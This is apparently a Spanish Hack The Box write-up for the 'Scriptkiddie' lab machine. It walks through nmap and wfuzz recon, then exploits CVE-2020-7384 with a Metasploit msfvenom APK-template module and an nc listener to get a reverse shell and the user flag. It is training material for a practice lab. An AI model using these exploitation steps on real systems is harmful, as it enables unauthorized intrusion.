Scriptkiddie Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
fe40ff3f...
#Root Flag
7475ddf9...

En este writeup vamos a ver cómo resolver la máquina Scriptkiddie de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.226

El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.

Vamos a hacer un escaneo de puertos:

$ nmap -p- --open -T5 -n 10.10.10.226 -oN nmap.txt PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp

Vemos que tiene el puerto 22 y 5000 abierto. Vamos a hacer otro escaneo de puertos mas completo.

$ sudo nmap -sS -sV -Pn -sC -v --min-rate 5000 -vvv -oN nmap_services.txt -p22,5000 10.10.10.226 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) | ssh-rsa | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJA31QhiIbYQMUwn/n3+qcrLiiJpYIia8HdgtwkI8JkCDm2n+j6dB3u5I17IOPXE7n5iPiW9tPF3Nb0aXmVJmlo= | 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOWjCdxetuUPIPnEGrowvR7qRAR7nuhUbfFraZFmbIr4 5000/tcp open http syn-ack ttl 63 Werkzeug httpd 0.16.1 (Python 3.8.5) | http-methods: |_ Supported Methods: HEAD OPTIONS POST GET |_http-server-header: Werkzeug/0.16.1 Python/3.8.5 |_http-title: k1d'5 h4ck3r t00l5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Encontramos lo siguiente:

  • Puerto 22: OpenSSH 8.2p1
  • Puerto 5000: servidor web Werkzeug/0.16.1

SI lanzamos un whatweb al puerto 5000 vemos lo siguiente:

$ whatweb 10.10.10.226:5000 http://10.10.10.226:5000 [200 OK] Country[RESERVED][ZZ], HTTPServer[Werkzeug/0.16.1 Python/3.8.5], IP[10.10.10.226], Python[3.8.5], Title[k1d'5 h4ck3r t00l5], Werkzeug[0.16.1]

Si entramos al navegador veremos una web como la siguiente:

puerto-80
puerto-80

Parece una web en la que poder ejecutar comandos como nmap, crear payloads o hacer búsquedas en searchsploit.

Si hacemos una búsqueda en la web de searchsploit vemos lo siguiente:

searchsploit
searchsploit

Se envía un parámetro “search” con el término de búsqueda y otro parámetro “action” con el comando a ejecutar.

Con la parte de nmap pasa lo mismo salvo que sólo varía “search” por “ip”.

Parece ser que es vulnerable a RCE así que vamos a interceptar las peticiones con burpsuite para cambiar el parámetro “action” on the fly.

poc rce
poc rce

En searchsploit existe una vulnerabilidad RCE para este sistema, vamos a echarle un ojo.

$ searchsploit Werkzeug Werkzeug - 'Debug Shell' Command Execution -> multiple/remote/43905.py python 43905.py <RHOST> <RPORT> <LHOST> <LPORT>

Aunque desde ya digo que este exploit no va a funcionar porque hace uso de un recurso /console para levantar un netcat. Recurso que este activo no tiene activo.

Lanzando un wfuzz tampoco obtenemos nada significativo

$ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.226:5000/FUZZ

En la web nos fijamos que existe una opción para generar payloads con el módulo msfvenom de metasploit.

Si hacemos una búsqueda por vulnerabilidades para msfvenom nos encontramos con la vulnerabilidad CVE-2020-7384

En ella explica que se puede generar un payload APK malicioso con los datos de lhost y lport para conectarnos por netcat y que metasploit se lo traga.

Mas info: https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md

Explotación

Para generar el exploit hacemos lo siguiente:

$ msfconsole $ use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection $ set lhost <IP> $ set lport <PORT> $ run

Esto nos generará un apk que será el que tengamos que subir a la web.

Levantamos un netcat

$ nc -nvlp 4444

Y en el momento de subirlo vemos que tenemos conexión y podemos tratar ya la TTY:

reverse shell
reverse shell

Ya con el usuario kid podemos dirigirnos a /home/kid y ahí tendremos la flag en user.txt

https://hrithie.com/writeups/htb-script-kiddie/

También te puede interesar

Sense Writeup

Sense Writeup

Shocker Writeup

Shocker Writeup

Solidstate Writeup

Solidstate Writeup